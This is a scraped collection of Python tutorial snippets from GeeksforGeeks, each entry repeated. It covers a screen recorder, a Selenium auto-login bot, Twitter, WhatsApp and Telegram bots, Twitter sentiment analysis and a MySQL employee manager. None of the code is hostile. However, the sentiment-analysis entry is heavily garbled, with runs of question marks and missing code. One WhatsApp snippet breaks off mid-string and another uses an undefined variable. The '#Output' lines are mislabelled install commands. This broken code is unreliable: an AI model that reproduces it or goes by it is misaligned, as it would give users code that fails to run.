# importing the required packages import pyautogui import cv2 import numpy as np # Specify resolution resolution = (1920, 1080) # Specify video codec codec = cv2.VideoWriter_fourcc(*"XVID") # Specify name of Output file filename = "Recording.avi" # Specify frames rate. We can choose any # value and experiment with it fps = 60.0 # Creating a VideoWriter object out = cv2.VideoWriter(filename, codec, fps, resolution) # Create an Empty window cv2.namedWindow("Live", cv2.WINDOW_NORMAL) # Resize this window cv2.resizeWindow("Live", 480, 270) while True: # Take screenshot using PyAutoGUI img = pyautogui.screenshot() # Convert the screenshot to a numpy array frame = np.array(img) # Convert it from BGR(Blue, Green, Red) to # RGB(Red, Green, Blue) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Write it to the output file out.write(frame) # Optional: Display the recording screen cv2.imshow("Live", frame) # Stop recording when we press 'q' if cv2.waitKey(1) == ord("q"): break # Release the Video writer out.release() # Destroy all windows cv2.destroyAllWindows()
#Output : pip install numpy
Create a Screen recorder using Python # importing the required packages import pyautogui import cv2 import numpy as np # Specify resolution resolution = (1920, 1080) # Specify video codec codec = cv2.VideoWriter_fourcc(*"XVID") # Specify name of Output file filename = "Recording.avi" # Specify frames rate. We can choose any # value and experiment with it fps = 60.0 # Creating a VideoWriter object out = cv2.VideoWriter(filename, codec, fps, resolution) # Create an Empty window cv2.namedWindow("Live", cv2.WINDOW_NORMAL) # Resize this window cv2.resizeWindow("Live", 480, 270) while True: # Take screenshot using PyAutoGUI img = pyautogui.screenshot() # Convert the screenshot to a numpy array frame = np.array(img) # Convert it from BGR(Blue, Green, Red) to # RGB(Red, Green, Blue) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Write it to the output file out.write(frame) # Optional: Display the recording screen cv2.imshow("Live", frame) # Stop recording when we press 'q' if cv2.waitKey(1) == ord("q"): break # Release the Video writer out.release() # Destroy all windows cv2.destroyAllWindows() #Output : pip install numpy [END]
How to Build a Simple Auto-Login Bot with Python
https://www.geeksforgeeks.org/how-to-build-a-simple-auto-login-bot-with-python/
# Used to import the webdriver from selenium from selenium import webdriver import os # Get the path of chromedriver which you have install def startBot(username, password, url): path = "C:\\Users\\hp\\Downloads\\chromedriver" # giving the path of chromedriver to selenium webdriver driver = webdriver.Chrome(path) # opening the website in chrome. driver.get(url) # find the id or name or class of # username by inspecting on username input driver.find_element_by_name("id/class/name of username").send_keys(username) # find the password by inspecting on password input driver.find_element_by_name("id/class/name of password").send_keys(password) # click on submit driver.find_element_by_css_selector( "id/class/name/css selector of login button" ).click() # Driver Code # Enter below your login credentials username = "Enter your username" password = "Enter your password" # URL of the login page of site # which you want to automate login. url = "Enter the URL of login page of website" # Call the function startBot(username, password, url)
#Output : pip install selenium
How to Build a Simple Auto-Login Bot with Python # Used to import the webdriver from selenium from selenium import webdriver import os # Get the path of chromedriver which you have install def startBot(username, password, url): path = "C:\\Users\\hp\\Downloads\\chromedriver" # giving the path of chromedriver to selenium webdriver driver = webdriver.Chrome(path) # opening the website in chrome. driver.get(url) # find the id or name or class of # username by inspecting on username input driver.find_element_by_name("id/class/name of username").send_keys(username) # find the password by inspecting on password input driver.find_element_by_name("id/class/name of password").send_keys(password) # click on submit driver.find_element_by_css_selector( "id/class/name/css selector of login button" ).click() # Driver Code # Enter below your login credentials username = "Enter your username" password = "Enter your password" # URL of the login page of site # which you want to automate login. url = "Enter the URL of login page of website" # Call the function startBot(username, password, url) #Output : pip install selenium [END]
Make a Twitter Bot in Python
https://www.geeksforgeeks.org/how-to-make-a-twitter-bot-in-python/
import tweepy from time import sleep from credentials import * from config import QUERY, FOLLOW, LIKE, SLEEP_TIME auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth) print("Twitter bot which retweets, like tweets and follow users") print("Bot Settings") print("Like Tweets :", LIKE) print("Follow users :", FOLLOW) for tweet in tweepy.Cursor(api.search, q=QUERY).items(): try: print("\nTweet by: @" + tweet.user.screen_name) tweet.retweet() print("Retweeted the tweet") # Favorite the tweet if LIKE: tweet.favorite() print("Favorited the tweet") # Follow the user who tweeted # check that bot is not already following the user if FOLLOW: if not tweet.user.following: tweet.user.follow() print("Followed the user") sleep(SLEEP_TIME) except tweepy.TweepError as e: print(e.reason) except StopIteration: break
#Output : $ pip install tweepy
Make a Twitter Bot in Python import tweepy from time import sleep from credentials import * from config import QUERY, FOLLOW, LIKE, SLEEP_TIME auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth) print("Twitter bot which retweets, like tweets and follow users") print("Bot Settings") print("Like Tweets :", LIKE) print("Follow users :", FOLLOW) for tweet in tweepy.Cursor(api.search, q=QUERY).items(): try: print("\nTweet by: @" + tweet.user.screen_name) tweet.retweet() print("Retweeted the tweet") # Favorite the tweet if LIKE: tweet.favorite() print("Favorited the tweet") # Follow the user who tweeted # check that bot is not already following the user if FOLLOW: if not tweet.user.following: tweet.user.follow() print("Followed the user") sleep(SLEEP_TIME) except tweepy.TweepError as e: print(e.reason) except StopIteration: break #Output : $ pip install tweepy [END]
Make a Twitter Bot in Python
https://www.geeksforgeeks.org/how-to-make-a-twitter-bot-in-python/
# Edit this config.py file as you like # This is hastag which Twitter bot will # search and retweet You can edit this with # any hastag .For example : '# javascript' QUERY = "# anything" # Twitter bot setting for liking Tweets LIKE = True # Twitter bot setting for following user who tweeted FOLLOW = True # Twitter bot sleep time settings in seconds. # For example SLEEP_TIME = 300 means 5 minutes. # Please, use large delay if you are running bot # all the time so that your account does not # get banned. SLEEP_TIME = 300
#Output : $ pip install tweepy
Make a Twitter Bot in Python # Edit this config.py file as you like # This is hastag which Twitter bot will # search and retweet You can edit this with # any hastag .For example : '# javascript' QUERY = "# anything" # Twitter bot setting for liking Tweets LIKE = True # Twitter bot setting for following user who tweeted FOLLOW = True # Twitter bot sleep time settings in seconds. # For example SLEEP_TIME = 300 means 5 minutes. # Please, use large delay if you are running bot # all the time so that your account does not # get banned. SLEEP_TIME = 300 #Output : $ pip install tweepy [END]
Make a Twitter Bot in Python
https://www.geeksforgeeks.org/how-to-make-a-twitter-bot-in-python/
# This is just a sample file. You need to # edit this file. You need to get these # details from your Twitter app settings. consumer_key = "" consumer_secret = "" access_token = "" access_token_secret = ""
#Output : $ pip install tweepy
Make a Twitter Bot in Python # This is just a sample file. You need to # edit this file. You need to get these # details from your Twitter app settings. consumer_key = "" consumer_secret = "" access_token = "" access_token_secret = "" #Output : $ pip install tweepy [END]
Building WhatsApp bot on Python
https://www.geeksforgeeks.org/building-whatsapp-bot-on-python/
from flask import Flask, request import requests from twilio.twiml.messaging_response import MessagingResponse
#Output : mkdir geeks-bot && cd geeks-bot
Building WhatsApp bot on Python from flask import Flask, request import requests from twilio.twiml.messaging_response import MessagingResponse #Output : mkdir geeks-bot && cd geeks-bot [END]
Building WhatsApp bot on Python
https://www.geeksforgeeks.org/building-whatsapp-bot-on-python/
from flask import request incoming_msg = request.values.get("Body", "").lower()
#Output : mkdir geeks-bot && cd geeks-bot
Building WhatsApp bot on Python from flask import request incoming_msg = request.values.get("Body", "").lower() #Output : mkdir geeks-bot && cd geeks-bot [END]
Building WhatsApp bot on Python
https://www.geeksforgeeks.org/building-whatsapp-bot-on-python/
from twilio.twiml.messaging_response import MessagingResponse??????response = MessagingResponse()msg = response.message()msg.body('this is the response/reply?????? from t
#Output : mkdir geeks-bot && cd geeks-bot
Building WhatsApp bot on Python from twilio.twiml.messaging_response import MessagingResponse??????response = MessagingResponse()msg = response.message()msg.body('this is the response/reply?????? from t #Output : mkdir geeks-bot && cd geeks-bot [END]
Building WhatsApp bot on Python
https://www.geeksforgeeks.org/building-whatsapp-bot-on-python/
# chatbot logic def bot(): # user input user_msg = request.values.get("Body", "").lower() # creating object of MessagingResponse response = MessagingResponse() # User Query q = user_msg + "geeksforgeeks.org" # list to store urls result = [] # searching and storing urls for i in search(q, tld="co.in", num=6, stop=6, pause=2): result.append(i) # displaying result msg = response.message(f"--- Results for '{user_msg}' ---") for result in search_results: msg = response.message(result) return str(response)
#Output : mkdir geeks-bot && cd geeks-bot
Building WhatsApp bot on Python # chatbot logic def bot(): # user input user_msg = request.values.get("Body", "").lower() # creating object of MessagingResponse response = MessagingResponse() # User Query q = user_msg + "geeksforgeeks.org" # list to store urls result = [] # searching and storing urls for i in search(q, tld="co.in", num=6, stop=6, pause=2): result.append(i) # displaying result msg = response.message(f"--- Results for '{user_msg}' ---") for result in search_results: msg = response.message(result) return str(response) #Output : mkdir geeks-bot && cd geeks-bot [END]
Building WhatsApp bot on Python
https://www.geeksforgeeks.org/building-whatsapp-bot-on-python/
from flask import Flask from googlesearch import search import requests from twilio.twiml.messaging_response import MessagingResponse app = Flask(__name__) @app.route("/", methods=["POST"]) # chatbot logic def bot(): # user input user_msg = request.values.get("Body", "").lower() # creating object of MessagingResponse response = MessagingResponse() # User Query q = user_msg + "geeksforgeeks.org" # list to store urls result = [] # searching and storing urls for i in search(q, num_results=3): result.append(i) # displaying result msg = response.message(f"--- Results for '{user_msg}' ---") for result in search_results: msg = response.message(result) return str(response) if __name__ == "__main__": app.run()
#Output : mkdir geeks-bot && cd geeks-bot
Building WhatsApp bot on Python from flask import Flask from googlesearch import search import requests from twilio.twiml.messaging_response import MessagingResponse app = Flask(__name__) @app.route("/", methods=["POST"]) # chatbot logic def bot(): # user input user_msg = request.values.get("Body", "").lower() # creating object of MessagingResponse response = MessagingResponse() # User Query q = user_msg + "geeksforgeeks.org" # list to store urls result = [] # searching and storing urls for i in search(q, num_results=3): result.append(i) # displaying result msg = response.message(f"--- Results for '{user_msg}' ---") for result in search_results: msg = response.message(result) return str(response) if __name__ == "__main__": app.run() #Output : mkdir geeks-bot && cd geeks-bot [END]
Create a Telementsegram Bot using Python
https://www.geeksforgeeks.org/create-a-telegram-bot-using-python/
from telegram.ext.updater import Updater from telegram.update import Update from telegram.ext.callbackcontext import CallbackContext from telegram.ext.commandhandler import CommandHandler from telegram.ext.messagehandler import MessageHandler from telegram.ext.filters import Filters
#Output : # installing via pip
Create a Telementsegram Bot using Python from telegram.ext.updater import Updater from telegram.update import Update from telegram.ext.callbackcontext import CallbackContext from telegram.ext.commandhandler import CommandHandler from telegram.ext.messagehandler import MessageHandler from telegram.ext.filters import Filters #Output : # installing via pip [END]
Create a Telementsegram Bot using Python
https://www.geeksforgeeks.org/create-a-telegram-bot-using-python/
updater = Updater("your_own_API_Token got from BotFather", use_context=True) def start(update: Update, context: CallbackContext): update.message.reply_text( "Enter the text you want to show to the user whenever they start the bot" )
#Output : # installing via pip
Create a Telementsegram Bot using Python updater = Updater("your_own_API_Token got from BotFather", use_context=True) def start(update: Update, context: CallbackContext): update.message.reply_text( "Enter the text you want to show to the user whenever they start the bot" ) #Output : # installing via pip [END]
Create a Telementsegram Bot using Python
https://www.geeksforgeeks.org/create-a-telegram-bot-using-python/
def help(update: Update, context: CallbackContext): update.message.reply_text("Your Message")
#Output : # installing via pip
Create a Telementsegram Bot using Python def help(update: Update, context: CallbackContext): update.message.reply_text("Your Message") #Output : # installing via pip [END]
Create a Telementsegram Bot using Python
https://www.geeksforgeeks.org/create-a-telegram-bot-using-python/
def gmail_url(update: Update, context: CallbackContext): update.message.reply_text("gmail link here") def youtube_url(update: Update, context: CallbackContext): update.message.reply_text("youtube link") def linkedIn_url(update: Update, context: CallbackContext): update.message.reply_text("Your linkedin profile url") def geeks_url(update: Update, context: CallbackContext): update.message.reply_text("GeeksforGeeks url here") def unknown_text(update: Update, context: CallbackContext): update.message.reply_text( "Sorry I can't recognize you , you said '%s'" % update.message.text ) def unknown(update: Update, context: CallbackContext): update.message.reply_text("Sorry '%s' is not a valid command" % update.message.text)
#Output : # installing via pip
Create a Telementsegram Bot using Python def gmail_url(update: Update, context: CallbackContext): update.message.reply_text("gmail link here") def youtube_url(update: Update, context: CallbackContext): update.message.reply_text("youtube link") def linkedIn_url(update: Update, context: CallbackContext): update.message.reply_text("Your linkedin profile url") def geeks_url(update: Update, context: CallbackContext): update.message.reply_text("GeeksforGeeks url here") def unknown_text(update: Update, context: CallbackContext): update.message.reply_text( "Sorry I can't recognize you , you said '%s'" % update.message.text ) def unknown(update: Update, context: CallbackContext): update.message.reply_text("Sorry '%s' is not a valid command" % update.message.text) #Output : # installing via pip [END]
Create a Telementsegram Bot using Python
https://www.geeksforgeeks.org/create-a-telegram-bot-using-python/
updater.dispatcher.add_handler(CommandHandler("start", start)) updater.dispatcher.add_handler(CommandHandler("youtube", youtube_url)) updater.dispatcher.add_handler(CommandHandler("help", help)) updater.dispatcher.add_handler(CommandHandler("linkedin", linkedIn_url)) updater.dispatcher.add_handler(CommandHandler("gmail", gmail_url)) updater.dispatcher.add_handler(CommandHandler("geeks", geeks_url)) updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown)) updater.dispatcher.add_handler( MessageHandler( # Filters out unknown commands Filters.command, unknown, ) ) # Filters out unknown messages. updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown_text))
#Output : # installing via pip
Create a Telementsegram Bot using Python updater.dispatcher.add_handler(CommandHandler("start", start)) updater.dispatcher.add_handler(CommandHandler("youtube", youtube_url)) updater.dispatcher.add_handler(CommandHandler("help", help)) updater.dispatcher.add_handler(CommandHandler("linkedin", linkedIn_url)) updater.dispatcher.add_handler(CommandHandler("gmail", gmail_url)) updater.dispatcher.add_handler(CommandHandler("geeks", geeks_url)) updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown)) updater.dispatcher.add_handler( MessageHandler( # Filters out unknown commands Filters.command, unknown, ) ) # Filters out unknown messages. updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown_text)) #Output : # installing via pip [END]
Create a Telementsegram Bot using Python
https://www.geeksforgeeks.org/create-a-telegram-bot-using-python/
updater.start_polling()
#Output : # installing via pip
Create a Telementsegram Bot using Python updater.start_polling() #Output : # installing via pip [END]
Create a Telementsegram Bot using Python
https://www.geeksforgeeks.org/create-a-telegram-bot-using-python/
from telegram.ext.updater import Updater from telegram.update import Update from telegram.ext.callbackcontext import CallbackContext from telegram.ext.commandhandler import CommandHandler from telegram.ext.messagehandler import MessageHandler from telegram.ext.filters import Filters updater = Updater("your_own_API_Token got from BotFather", use_context=True) def start(update: Update, context: CallbackContext): update.message.reply_text( "Hello sir, Welcome to the Bot.Please write\ /help to see the commands available." ) def help(update: Update, context: CallbackContext): update.message.reply_text( """Available Commands :- /youtube - To get the youtube URL /linkedin - To get the LinkedIn profile URL /gmail - To get gmail URL /geeks - To get the GeeksforGeeks URL""" ) def gmail_url(update: Update, context: CallbackContext): update.message.reply_text( "Your gmail link here (I am not\ giving mine one for security reasons)" ) def youtube_url(update: Update, context: CallbackContext): update.message.reply_text( "Youtube Link =>\ https://www.youtube.com/" ) def linkedIn_url(update: Update, context: CallbackContext): update.message.reply_text( "LinkedIn URL => \ https://www.linkedin.com/in/dwaipayan-bandyopadhyay-007a/" ) def geeks_url(update: Update, context: CallbackContext): update.message.reply_text("GeeksforGeeks URL => https://www.geeksforgeeks.org/") def unknown(update: Update, context: CallbackContext): update.message.reply_text("Sorry '%s' is not a valid command" % update.message.text) def unknown_text(update: Update, context: CallbackContext): update.message.reply_text( "Sorry I can't recognize you , you said '%s'" % update.message.text ) updater.dispatcher.add_handler(CommandHandler("start", start)) updater.dispatcher.add_handler(CommandHandler("youtube", youtube_url)) updater.dispatcher.add_handler(CommandHandler("help", help)) updater.dispatcher.add_handler(CommandHandler("linkedin", linkedIn_url)) updater.dispatcher.add_handler(CommandHandler("gmail", gmail_url)) updater.dispatcher.add_handler(CommandHandler("geeks", geeks_url)) updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown)) updater.dispatcher.add_handler( MessageHandler(Filters.command, unknown) ) # Filters out unknown commands # Filters out unknown messages. updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown_text)) updater.start_polling()
#Output : # installing via pip
Create a Telementsegram Bot using Python from telegram.ext.updater import Updater from telegram.update import Update from telegram.ext.callbackcontext import CallbackContext from telegram.ext.commandhandler import CommandHandler from telegram.ext.messagehandler import MessageHandler from telegram.ext.filters import Filters updater = Updater("your_own_API_Token got from BotFather", use_context=True) def start(update: Update, context: CallbackContext): update.message.reply_text( "Hello sir, Welcome to the Bot.Please write\ /help to see the commands available." ) def help(update: Update, context: CallbackContext): update.message.reply_text( """Available Commands :- /youtube - To get the youtube URL /linkedin - To get the LinkedIn profile URL /gmail - To get gmail URL /geeks - To get the GeeksforGeeks URL""" ) def gmail_url(update: Update, context: CallbackContext): update.message.reply_text( "Your gmail link here (I am not\ giving mine one for security reasons)" ) def youtube_url(update: Update, context: CallbackContext): update.message.reply_text( "Youtube Link =>\ https://www.youtube.com/" ) def linkedIn_url(update: Update, context: CallbackContext): update.message.reply_text( "LinkedIn URL => \ https://www.linkedin.com/in/dwaipayan-bandyopadhyay-007a/" ) def geeks_url(update: Update, context: CallbackContext): update.message.reply_text("GeeksforGeeks URL => https://www.geeksforgeeks.org/") def unknown(update: Update, context: CallbackContext): update.message.reply_text("Sorry '%s' is not a valid command" % update.message.text) def unknown_text(update: Update, context: CallbackContext): update.message.reply_text( "Sorry I can't recognize you , you said '%s'" % update.message.text ) updater.dispatcher.add_handler(CommandHandler("start", start)) updater.dispatcher.add_handler(CommandHandler("youtube", youtube_url)) updater.dispatcher.add_handler(CommandHandler("help", help)) updater.dispatcher.add_handler(CommandHandler("linkedin", linkedIn_url)) updater.dispatcher.add_handler(CommandHandler("gmail", gmail_url)) updater.dispatcher.add_handler(CommandHandler("geeks", geeks_url)) updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown)) updater.dispatcher.add_handler( MessageHandler(Filters.command, unknown) ) # Filters out unknown commands # Filters out unknown messages. updater.dispatcher.add_handler(MessageHandler(Filters.text, unknown_text)) updater.start_polling() #Output : # installing via pip [END]
Twitter Sentiment Analysis using Python
https://www.geeksforgeeks.org/twitter-sentiment-analysis-using-python/
import reimport tweepyfrom tweepy import OAuthHandlerfrom textblob import TextBlob??????class TwitterClient(object):????????????????????????'''????????????????????????Generic Twitter Class for sentiment analysis.????????????????????????'''????????????????????????def __init__(self):????????????????????????????????????????????????'''????????????????????????????????????????????????Class constructor or initialization method.????????????????????????????????????????????????'''????????????????????????????????????????????????# keys and tokens from the Twitter Dev Console????????????????????????????????????????????????consumer_key = 'XXXXXXXXXXXXXXXXXXXXXXXX'????????????????????????????????????????????????consumer_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX'????????????????????????????????????????????????access_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX'????????????????????????????????????????????????access_token_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXX'??????????????????????????????????????????????????????# attempt authenticationnc?????????????????self.api = tweepy.API(self.auth)????????????????except:????????????????????????print("Error: Authentication Failed")??????????????????????????????def clean_tweet(self, tweet):????????????????????????????????????????????????'''????????????????????????????????????????????????Utility function to clean tweet text by removing links, special characters????????????????????"(@[A-Za-z0-9]+)|([^0-9A-Za-z \t])??????????????????????????????????????????????????????????????????????????????????????", " ", tweet).split())??????????????????????????????def get_tweet_sentiment(self, tweet):????????????????????????????????????????????????'''????????????????????????????????????????????????Utility function to classify sentiment of passed tweet????????????????????????????????????????????????using textblob's sentiment method????????????????????????????????????????????????'''????????????????????????????????????????????????# create TextBlob object of passed tweet text????????????????????????????????????????????????analysis = TextBlob(self.clean_tweet(tweet))????????????????????????????????????????????????# set sentiment????????????????????????????????????????????????if analysis.sentiment.polarity > 0:????????????????????????????????????????????????????????????????????????return 'positive'????????????????????????????????????????????????elif analysis.sentiment.polarity == 0:????????????????????????????????????????????????????????????????????????return 'neutral'????????????????????????????????????????????????else:??????nc????????????# parsing tweets one by one????????????????????????for tweet in fetched_tweets:????????????????????????????????# empty dictionary to store required params of a tweet????????????????????????????????parsed_tweet = {}??????????????????????????????????# saving text of tweet????????????????????????????????parsed_tweet['text'] = tweet.text????????????????????????????????# saving sentiment of tweet????????????????????????????????parsed_tweet['sentiment'] = self.get_tweet_sentiment(tweet.text)??????????????????????????????????# appending parsed tweet to tweets list????????????????????????????????if tweet.retweet_count > 0:????????????????????????????????????????# if tweet has retweets, ensure that it is appended only once????????????????????????????????????????if parsed_tweet not in tweets:????????????????????????????????????????????????tweets.append(parsed_tweet)????????????????????????????????else:????????????????????????????????????????tweets.append(parsed_tweet)??????????????????????????# return parsed tweets????????????????????????????????????????????????????????????????????????return tweets??????????????????????????????????????????????????????except tweepy.TweepErr"Error : " + str(e))??????def main():????????????????????????# creating object of TwitterClient Class????????????????????????api = TwitterClient()????????????????????????# calling function to get tweets????????????????????????tweets = api.get_tweets(query = 'Donald Trump', count = 200)??????????????????????????????# picking positive tweets from tweets????????????????????????ptweets = [tweet for t"Positive tweets percentage: {} %".format(100*len(ptweets)/len(tweets)))????????????????????????# picking negative tweets from tweets????????????????????????ntweets = [tweet for tweet in tweets if tweet['sentiment'] == 'negative']?????????????????????"Negative tweets percentage: {} %".format(100*len(ntweets)/len(tweets)))????????????????????????# percentage of neutral twee"Neutral tweets percentage: {} % \????????????????".format(100*(len(tweets) -(len( ntweets )+len( ptweets)))/len(tweets)))??????????????????????????????# printing first 5 positive "\n\nPositive tweets:")????????????????????????for tweet in ptweets[:10]:????????????????????????????????????????????????print(tweet['text'])??????????"\n\nNegative tweets:")????????????????????????for tweet in ntweets[:10]:?????????????????????????????????????"__main__":????????????????????????# calling main functi
#Output : pip install tweepy
Twitter Sentiment Analysis using Python import reimport tweepyfrom tweepy import OAuthHandlerfrom textblob import TextBlob??????class TwitterClient(object):????????????????????????'''????????????????????????Generic Twitter Class for sentiment analysis.????????????????????????'''????????????????????????def __init__(self):????????????????????????????????????????????????'''????????????????????????????????????????????????Class constructor or initialization method.????????????????????????????????????????????????'''????????????????????????????????????????????????# keys and tokens from the Twitter Dev Console????????????????????????????????????????????????consumer_key = 'XXXXXXXXXXXXXXXXXXXXXXXX'????????????????????????????????????????????????consumer_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX'????????????????????????????????????????????????access_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX'????????????????????????????????????????????????access_token_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXX'??????????????????????????????????????????????????????# attempt authenticationnc?????????????????self.api = tweepy.API(self.auth)????????????????except:????????????????????????print("Error: Authentication Failed")??????????????????????????????def clean_tweet(self, tweet):????????????????????????????????????????????????'''????????????????????????????????????????????????Utility function to clean tweet text by removing links, special characters????????????????????"(@[A-Za-z0-9]+)|([^0-9A-Za-z \t])??????????????????????????????????????????????????????????????????????????????????????", " ", tweet).split())??????????????????????????????def get_tweet_sentiment(self, tweet):????????????????????????????????????????????????'''????????????????????????????????????????????????Utility function to classify sentiment of passed tweet????????????????????????????????????????????????using textblob's sentiment method????????????????????????????????????????????????'''????????????????????????????????????????????????# create TextBlob object of passed tweet text????????????????????????????????????????????????analysis = TextBlob(self.clean_tweet(tweet))????????????????????????????????????????????????# set sentiment????????????????????????????????????????????????if analysis.sentiment.polarity > 0:????????????????????????????????????????????????????????????????????????return 'positive'????????????????????????????????????????????????elif analysis.sentiment.polarity == 0:????????????????????????????????????????????????????????????????????????return 'neutral'????????????????????????????????????????????????else:??????nc????????????# parsing tweets one by one????????????????????????for tweet in fetched_tweets:????????????????????????????????# empty dictionary to store required params of a tweet????????????????????????????????parsed_tweet = {}??????????????????????????????????# saving text of tweet????????????????????????????????parsed_tweet['text'] = tweet.text????????????????????????????????# saving sentiment of tweet????????????????????????????????parsed_tweet['sentiment'] = self.get_tweet_sentiment(tweet.text)??????????????????????????????????# appending parsed tweet to tweets list????????????????????????????????if tweet.retweet_count > 0:????????????????????????????????????????# if tweet has retweets, ensure that it is appended only once????????????????????????????????????????if parsed_tweet not in tweets:????????????????????????????????????????????????tweets.append(parsed_tweet)????????????????????????????????else:????????????????????????????????????????tweets.append(parsed_tweet)??????????????????????????# return parsed tweets????????????????????????????????????????????????????????????????????????return tweets??????????????????????????????????????????????????????except tweepy.TweepErr"Error : " + str(e))??????def main():????????????????????????# creating object of TwitterClient Class????????????????????????api = TwitterClient()????????????????????????# calling function to get tweets????????????????????????tweets = api.get_tweets(query = 'Donald Trump', count = 200)??????????????????????????????# picking positive tweets from tweets????????????????????????ptweets = [tweet for t"Positive tweets percentage: {} %".format(100*len(ptweets)/len(tweets)))????????????????????????# picking negative tweets from tweets????????????????????????ntweets = [tweet for tweet in tweets if tweet['sentiment'] == 'negative']?????????????????????"Negative tweets percentage: {} %".format(100*len(ntweets)/len(tweets)))????????????????????????# percentage of neutral twee"Neutral tweets percentage: {} % \????????????????".format(100*(len(tweets) -(len( ntweets )+len( ptweets)))/len(tweets)))??????????????????????????????# printing first 5 positive "\n\nPositive tweets:")????????????????????????for tweet in ptweets[:10]:????????????????????????????????????????????????print(tweet['text'])??????????"\n\nNegative tweets:")????????????????????????for tweet in ntweets[:10]:?????????????????????????????????????"__main__":????????????????????????# calling main functi #Output : pip install tweepy [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
import mysql.connector con = mysql.connector.connect( host="localhost", user="root", password="password", database="emp" )
#Output : pip install mysqlconnector
Employee Management System using Python import mysql.connector con = mysql.connector.connect( host="localhost", user="root", password="password", database="emp" ) #Output : pip install mysqlconnector [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
# Function To Check if Employee with # given Id Exist or Not def check_employee(employee_id): # Query to select all Rows f # rom employee Table sql = "select * from empd where id=%s" # making cursor buffered to make # rowcount method work properly c = con.cursor(buffered=True) data = (employee_id,) # Executing the SQL Query c.execute(sql, data) # rowcount method to find # number of rows with given values r = c.rowcount if r == 1: return True else: return False
#Output : pip install mysqlconnector
Employee Management System using Python # Function To Check if Employee with # given Id Exist or Not def check_employee(employee_id): # Query to select all Rows f # rom employee Table sql = "select * from empd where id=%s" # making cursor buffered to make # rowcount method work properly c = con.cursor(buffered=True) data = (employee_id,) # Executing the SQL Query c.execute(sql, data) # rowcount method to find # number of rows with given values r = c.rowcount if r == 1: return True else: return False #Output : pip install mysqlconnector [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
# Function to mAdd_Employee def Add_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id # Already Exist or Not if check_employee(Id) == True: print("Employee already exists\nTry Again\n") menu() else: Name = input("Enter Employee Name : ") Post = input("Enter Employee Post : ") Salary = input("Enter Employee Salary : ") data = (Id, Name, Post, Salary) # Inserting Employee details in the Employee # Table sql = "insert into empd values(%s,%s,%s,%s)" c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in the table con.commit() print("Employee Added Successfully ") menu()
#Output : pip install mysqlconnector
Employee Management System using Python # Function to mAdd_Employee def Add_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id # Already Exist or Not if check_employee(Id) == True: print("Employee already exists\nTry Again\n") menu() else: Name = input("Enter Employee Name : ") Post = input("Enter Employee Post : ") Salary = input("Enter Employee Salary : ") data = (Id, Name, Post, Salary) # Inserting Employee details in the Employee # Table sql = "insert into empd values(%s,%s,%s,%s)" c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in the table con.commit() print("Employee Added Successfully ") menu() #Output : pip install mysqlconnector [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
# Function to Remove Employee with given Id def Remove_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id # Exist or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: # Query to Delete Employee from Table sql = "delete from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in # the table con.commit() print("Employee Removed") menu()
#Output : pip install mysqlconnector
Employee Management System using Python # Function to Remove Employee with given Id def Remove_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id # Exist or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: # Query to Delete Employee from Table sql = "delete from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in # the table con.commit() print("Employee Removed") menu() #Output : pip install mysqlconnector [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
# Function to Promote Employee def Promote_Employee(): Id = int(input("Enter Employ's Id")) # Checking if Employee with given Id # Exist or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: Amount = int(input("Enter increase in Salary")) # Query to Fetch Salary of Employee with # given Id sql = "select salary from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # Fetching Salary of Employee with given Id r = c.fetchone() t = r[0] + Amount # Query to Update Salary of Employee with # given Id sql = "update empd set salary=%s where id=%s" d = (t, Id) # Executing the SQL Query c.execute(sql, d) # commit() method to make changes in the table con.commit() print("Employee Promoted") menu()
#Output : pip install mysqlconnector
Employee Management System using Python # Function to Promote Employee def Promote_Employee(): Id = int(input("Enter Employ's Id")) # Checking if Employee with given Id # Exist or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: Amount = int(input("Enter increase in Salary")) # Query to Fetch Salary of Employee with # given Id sql = "select salary from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # Fetching Salary of Employee with given Id r = c.fetchone() t = r[0] + Amount # Query to Update Salary of Employee with # given Id sql = "update empd set salary=%s where id=%s" d = (t, Id) # Executing the SQL Query c.execute(sql, d) # commit() method to make changes in the table con.commit() print("Employee Promoted") menu() #Output : pip install mysqlconnector [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
